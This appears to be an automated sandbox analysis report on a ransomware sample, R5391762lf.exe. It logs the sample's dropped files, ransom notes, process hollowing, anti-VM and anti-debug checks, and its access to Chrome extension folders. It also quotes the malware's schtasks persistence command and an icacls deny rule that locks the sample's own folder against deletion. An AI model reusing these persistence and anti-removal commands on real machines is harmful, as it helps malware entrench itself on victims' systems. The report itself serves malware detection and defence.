Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Code function: 6_2_0457B0AF push ecx; retf	6_2_0457B0B2
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Code function: 6_2_05EE8F05 push ecx; ret	6_2_05EE8F18

Persistence and Installation Behavior

Infects executable files (exe, dll, sys, html)

Source: C:\Users\user\Desktop\R5391762lf.exe

System file written: C:\Users\user\AppData\Local\Temp\chrome.exe

Jump to behavior

Source: C:\Users\user\Desktop\R5391762lf.exe	File created: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\3e091c6f-72a1-42bd-89b8-7e8a9a94f76c\build3.exe.bgjs (copy)	Jump to dropped file
Source: C:\Users\user\Desktop\R5391762lf.exe	File created: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Jump to dropped file
Source: C:\Users\user\Desktop\R5391762lf.exe	File created: C:\Users\user\AppData\Local\3e091c6f-72a1-42bd-89b8-7e8a9a94f76c\build3.exe	Jump to dropped file
Source: C:\Users\user\Desktop\R5391762lf.exe	File created: C:\Users\jones\AppData\Local\Temp\wctF86A.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\3e091c6f-72a1-42bd-89b8-7e8a9a94f76c\build3.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\3e091c6f-72a1-42bd-89b8-7e8a9a94f76c\build2.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q4M8ZOMH\sqln[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\R5391762lf.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\build3[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\R5391762lf.exe	File created: C:\Users\jones\Local Settings\Temp\wctF86A.tmp.bgjs (copy)	Jump to dropped file

Source: C:\Users\user\Desktop\R5391762lf.exe	File created: C:\_README.txt	Jump to behavior
Source: C:\Users\user\Desktop\R5391762lf.exe	File created: C:\$WinREAgent\_README.txt	Jump to behavior
Source: C:\Users\user\Desktop\R5391762lf.exe	File created: C:\$WinREAgent\Scratch\_README.txt	Jump to behavior
Source: C:\Users\user\Desktop\R5391762lf.exe	File created: C:\Users\jones\_README.txt	Jump to behavior
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	File created: C:\_README.txt
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	File created: C:\Users\user\_README.txt

Boot Survival

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\AppData\Local\3e091c6f-72a1-42bd-89b8-7e8a9a94f76c\build3.exe

Process created: C:\Windows\SysWOW64\schtasks.exe /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe"

Source: C:\Users\user\Desktop\R5391762lf.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SysHelper			Jump to behavior
Source: C:\Users\user\Desktop\R5391762lf.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SysHelper			Jump to behavior

Source: C:\Users\user\Desktop\R5391762lf.exe

Code function: 0_2_00405653 EncodePointer,__initp_misc_winsig,GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00405653

Source: C:\Users\user\Desktop\R5391762lf.exe

Process created: C:\Windows\SysWOW64\icacls.exe icacls "C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d" /deny *S-1-1-0:(OI)(CI)(DE,DC)

Source: C:\Users\user\Desktop\R5391762lf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\R5391762lf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\3e091c6f-72a1-42bd-89b8-7e8a9a94f76c\build2.exe	Process information set: NOOPENFILEERRORBOX

Source: C:\Users\user\Desktop\R5391762lf.exe

Code function: 0_2_0449971C rdtsc

0_2_0449971C

Source: C:\Users\user\Desktop\R5391762lf.exe

Code function: _malloc,_malloc,_wprintf,_free,GetAdaptersInfo,_free,_malloc,GetAdaptersInfo,_sprintf,_wprintf,_wprintf,_free,

2_2_0040E670

Source: C:\Users\user\Desktop\R5391762lf.exe

Thread delayed: delay time: 700000

Jump to behavior

Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Window / User API: threadDelayed 2142
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Window / User API: threadDelayed 7857

Source: C:\Users\user\Desktop\R5391762lf.exe	Dropped PE file which has not been started: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\3e091c6f-72a1-42bd-89b8-7e8a9a94f76c\build3.exe.bgjs (copy)	Jump to dropped file
Source: C:\Users\user\Desktop\R5391762lf.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\3e091c6f-72a1-42bd-89b8-7e8a9a94f76c\build3.exe	Jump to dropped file
Source: C:\Users\user\Desktop\R5391762lf.exe	Dropped PE file which has not been started: C:\Users\jones\AppData\Local\Temp\wctF86A.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\3e091c6f-72a1-42bd-89b8-7e8a9a94f76c\build2.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q4M8ZOMH\sqln[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\R5391762lf.exe	Dropped PE file which has not been started: C:\Users\jones\Local Settings\Temp\wctF86A.tmp.bgjs (copy)	Jump to dropped file

Source: C:\Users\user\Desktop\R5391762lf.exe

Evasive API call chain: GetModuleFileName,DecisionNodes,ExitProcess

graph_2-45734

Source: C:\Users\user\Desktop\R5391762lf.exe TID: 7700	Thread sleep time: -700000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe TID: 5288	Thread sleep count: 2142 > 30
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe TID: 5288	Thread sleep time: -481950s >= -30000s
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe TID: 5288	Thread sleep count: 7857 > 30
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe TID: 5288	Thread sleep time: -1767825s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 2_2_00410160 PathFindFileNameW,PathFindFileNameW,_memmove,PathFindFileNameW,_memmove,PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,PathFindExtensionW,_wcsstr,_wcsstr,FindNextFileW,FindClose,	2_2_00410160
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 2_2_0040F730 PathFindFileNameW,PathFindFileNameW,_memmove,PathFindFileNameW,_memmove,PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,PathFindExtensionW,_wcsstr,_wcsstr,_wcsstr,_wcsstr,FindNextFileW,FindClose,	2_2_0040F730
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 2_2_0040FB98 PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,FindNextFileW,FindClose,	2_2_0040FB98

Source: C:\Users\user\Desktop\R5391762lf.exe

Thread delayed: delay time: 700000

Jump to behavior

Source: C:\Users\user\AppData\Local\3e091c6f-72a1-42bd-89b8-7e8a9a94f76c\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\
Source: C:\Users\user\AppData\Local\3e091c6f-72a1-42bd-89b8-7e8a9a94f76c\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\
Source: C:\Users\user\AppData\Local\3e091c6f-72a1-42bd-89b8-7e8a9a94f76c\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\
Source: C:\Users\user\AppData\Local\3e091c6f-72a1-42bd-89b8-7e8a9a94f76c\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\
Source: C:\Users\user\AppData\Local\3e091c6f-72a1-42bd-89b8-7e8a9a94f76c\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\
Source: C:\Users\user\AppData\Local\3e091c6f-72a1-42bd-89b8-7e8a9a94f76c\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\

Source: R5391762lf.exe, 00000002.00000002.1397540119.00000000006A7000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000002.00000003.1391033574.00000000006A7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW'H
Source: R5391762lf.exe, 00000002.00000002.1397540119.000000000067A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: R5391762lf.exe, 00000002.00000002.1397540119.00000000006A7000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000002.00000003.1391033574.00000000006A7000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000002.00000002.1397540119.0000000000638000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Users\user\Desktop\R5391762lf.exe

API call chain: ExitProcess graph end node

graph_2-45736

Source: C:\Users\user\Desktop\R5391762lf.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\R5391762lf.exe

Code function: 0_2_0449971C rdtsc

0_2_0449971C

Source: C:\Users\user\Desktop\R5391762lf.exe

Code function: 0_2_0040A3A4 IsDebuggerPresent,

0_2_0040A3A4

Source: C:\Users\user\Desktop\R5391762lf.exe

Code function: 2_2_0042A57A EncodePointer,EncodePointer,___crtIsPackagedApp,LoadLibraryExW,GetLastError,LoadLibraryExW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,IsDebuggerPresent,OutputDebugStringW,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,

2_2_0042A57A

Source: C:\Users\user\Desktop\R5391762lf.exe

2_2_00412220

Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 0_2_044980A3 push dword ptr fs:[00000030h]	0_2_044980A3
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 0_2_05EA0042 push dword ptr fs:[00000030h]	0_2_05EA0042
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 5_2_044560A3 push dword ptr fs:[00000030h]	5_2_044560A3
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 5_2_05DB0042 push dword ptr fs:[00000030h]	5_2_05DB0042
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Code function: 6_2_045780A3 push dword ptr fs:[00000030h]	6_2_045780A3
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Code function: 6_2_05EC0042 push dword ptr fs:[00000030h]	6_2_05EC0042

Source: C:\Users\user\Desktop\R5391762lf.exe

Code function: 0_2_00405A52 GetProcessHeap,

0_2_00405A52

Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 0_2_0040A32F SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_0040A32F
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 2_2_004329EC SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_004329EC
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 2_2_004329BB SetUnhandledExceptionFilter,	2_2_004329BB

HIPS / PFW / Operating System Protection Evasion

Contains functionality to inject code into remote processes

Source: C:\Users\user\Desktop\R5391762lf.exe

Code function: 0_2_05EA0110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,Wow64GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,Wow64SetThreadContext,ResumeThread,ExitProcess,

0_2_05EA0110

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\R5391762lf.exe	Memory written: C:\Users\user\Desktop\R5391762lf.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Desktop\R5391762lf.exe	Memory written: C:\Users\user\Desktop\R5391762lf.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Memory written: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Local\3e091c6f-72a1-42bd-89b8-7e8a9a94f76c\build2.exe	Memory written: C:\Users\user\AppData\Local\3e091c6f-72a1-42bd-89b8-7e8a9a94f76c\build2.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Memory written: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\AppData\Local\3e091c6f-72a1-42bd-89b8-7e8a9a94f76c\build3.exe	Memory written: C:\Users\user\AppData\Local\3e091c6f-72a1-42bd-89b8-7e8a9a94f76c\build3.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Memory written: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Memory written: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Memory written: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Memory written: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Memory written: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe base: 400000 value starts with: 4D5A

Source: C:\Users\user\Desktop\R5391762lf.exe

Code function: 2_2_00419F90 GetCurrentProcess,GetLastError,GetLastError,SetPriorityClass,GetLastError,GetModuleFileNameW,PathRemoveFileSpecW,GetCommandLineW,CommandLineToArgvW,lstrcpyW,lstrcmpW,lstrcmpW,lstrcpyW,lstrcpyW,lstrcmpW,lstrcmpW,GlobalFree,lstrcpyW,lstrcpyW,OpenProcess,WaitForSingleObject,CloseHandle,Sleep,GlobalFree,GetCurrentProcess,GetExitCodeProcess,TerminateProcess,CloseHandle,lstrcatW,GetVersion,lstrcpyW,lstrcatW,lstrcatW,_memset,ShellExecuteExW,CreateThread,lstrlenA,lstrcatW,_malloc,lstrcatW,_memset,lstrcatW,MultiByteToWideChar,lstrcatW,lstrlenW,CreateThread,WaitForSingleObject,CreateMutexA,CreateMutexA,lstrlenA,lstrcpyA,_memmove,_memmove,_memmove,GetUserNameW,GetMessageW,GetMessageW,DispatchMessageW,TranslateMessage,TranslateMessage,DispatchMessageW,GetMessageW,PostThreadMessageW,PeekMessageW,PostThreadMessageW,PeekMessageW,DispatchMessageW,PeekMessageW,WaitForSingleObject,PostThreadMessageW,PeekMessageW,DispatchMessageW,PeekMessageW,WaitForSingleObject,CloseHandle,

2_2_00419F90

Source: C:\Users\user\Desktop\R5391762lf.exe	Process created: C:\Users\user\Desktop\R5391762lf.exe "C:\Users\user\Desktop\R5391762lf.exe"	Jump to behavior
Source: C:\Users\user\Desktop\R5391762lf.exe	Process created: C:\Users\user\Desktop\R5391762lf.exe "C:\Users\user\Desktop\R5391762lf.exe" --Admin IsNotAutoStart IsNotTask	Jump to behavior
Source: C:\Users\user\Desktop\R5391762lf.exe	Process created: C:\Users\user\Desktop\R5391762lf.exe "C:\Users\user\Desktop\R5391762lf.exe" --Admin IsNotAutoStart IsNotTask	Jump to behavior
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Process created: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe --Task	Jump to behavior
Source: C:\Users\user\Desktop\R5391762lf.exe	Process created: C:\Users\user\AppData\Local\3e091c6f-72a1-42bd-89b8-7e8a9a94f76c\build2.exe "C:\Users\user\AppData\Local\3e091c6f-72a1-42bd-89b8-7e8a9a94f76c\build2.exe"	Jump to behavior
Source: C:\Users\user\Desktop\R5391762lf.exe	Process created: C:\Users\user\AppData\Local\3e091c6f-72a1-42bd-89b8-7e8a9a94f76c\build3.exe "C:\Users\user\AppData\Local\3e091c6f-72a1-42bd-89b8-7e8a9a94f76c\build3.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\3e091c6f-72a1-42bd-89b8-7e8a9a94f76c\build2.exe	Process created: C:\Users\user\AppData\Local\3e091c6f-72a1-42bd-89b8-7e8a9a94f76c\build2.exe "C:\Users\user\AppData\Local\3e091c6f-72a1-42bd-89b8-7e8a9a94f76c\build2.exe"
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Process created: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe "C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe" --AutoStart
Source: C:\Users\user\AppData\Local\3e091c6f-72a1-42bd-89b8-7e8a9a94f76c\build3.exe	Process created: C:\Users\user\AppData\Local\3e091c6f-72a1-42bd-89b8-7e8a9a94f76c\build3.exe "C:\Users\user\AppData\Local\3e091c6f-72a1-42bd-89b8-7e8a9a94f76c\build3.exe"
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Process created: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Process created: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe "C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe" --AutoStart
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Process created: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Process created: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Process created: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe

Source: C:\Users\user\Desktop\R5391762lf.exe

Code function: 0_2_05EC80F6 cpuid

0_2_05EC80F6

Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: ___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,	0_2_05ED3F87
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: ___getlocaleinfo,__malloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,___crtLCMapStringA,___crtLCMapStringA,___crtGetStringTypeA,_free,_free,_free,_free,_free,_free,_free,_free,_free,	0_2_05ED49EA
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: __calloc_crt,__malloc_crt,_free,__malloc_crt,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_num,_free,_free,_free,_free,	0_2_05ED394D
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: ___crtGetLocaleInfoA,___crtGetLocaleInfoA,__calloc_crt,___crtGetLocaleInfoA,__calloc_crt,_free,_free,__calloc_crt,_free,__invoke_watson,	0_2_05ECC8B7
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	0_2_05EE0AB6
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: ___getlocaleinfo,__malloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,GetCPInfo,___crtLCMapStringA,___crtLCMapStringA,___crtGetStringTypeA,_free,_free,_free,_free,_free,_free,_free,_free,_free,	2_2_0043404A
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: _LcidFromHexString,GetLocaleInfoW,_TestDefaultLanguage,	2_2_00438178
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	2_2_00440116
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	2_2_004382A2
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: GetLocaleInfoW,_GetPrimaryLen,	2_2_0043834F
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: _memset,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_GetLcidFromCountry,GetUserDefaultLCID,IsValidCodePage,IsValidLocale,___crtDownlevelLCIDToLocaleName,___crtDownlevelLCIDToLocaleName,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,__itow_s,	2_2_00438423
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: EnumSystemLocalesW,	2_2_004387C8
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: GetLocaleInfoW,	2_2_0043884E
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: __calloc_crt,__malloc_crt,_free,__malloc_crt,_free,_free,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_mon,_free,_free,_free,_free,_free,	2_2_00432B6D
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: __calloc_crt,__malloc_crt,_free,__malloc_crt,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_num,_free,_free,_free,_free,	2_2_00432FAD
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: ___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,	2_2_004335E7
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: _TranslateName,_GetLocaleNameFromLangCountry,_GetLocaleNameFromLanguage,_TranslateName,_GetLocaleNameFromLangCountry,_GetLocaleNameFromLanguage,_GetLocaleNameFromDefault,IsValidCodePage,_wcschr,_wcschr,__itow_s,_LcidFromHexString,GetLocaleInfoW,	2_2_00437BB3
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: EnumSystemLocalesW,	2_2_00437E27
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: _GetPrimaryLen,EnumSystemLocalesW,	2_2_00437E83
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: _GetPrimaryLen,EnumSystemLocalesW,	2_2_00437F00
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: ___crtGetLocaleInfoA,GetLastError,___crtGetLocaleInfoA,__calloc_crt,___crtGetLocaleInfoA,__calloc_crt,_free,_free,__calloc_crt,_free,	2_2_0042BF17
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: _LcidFromHexString,GetLocaleInfoW,GetLocaleInfoW,__wcsnicmp,GetLocaleInfoW,_TestDefaultLanguage,	2_2_00437F83
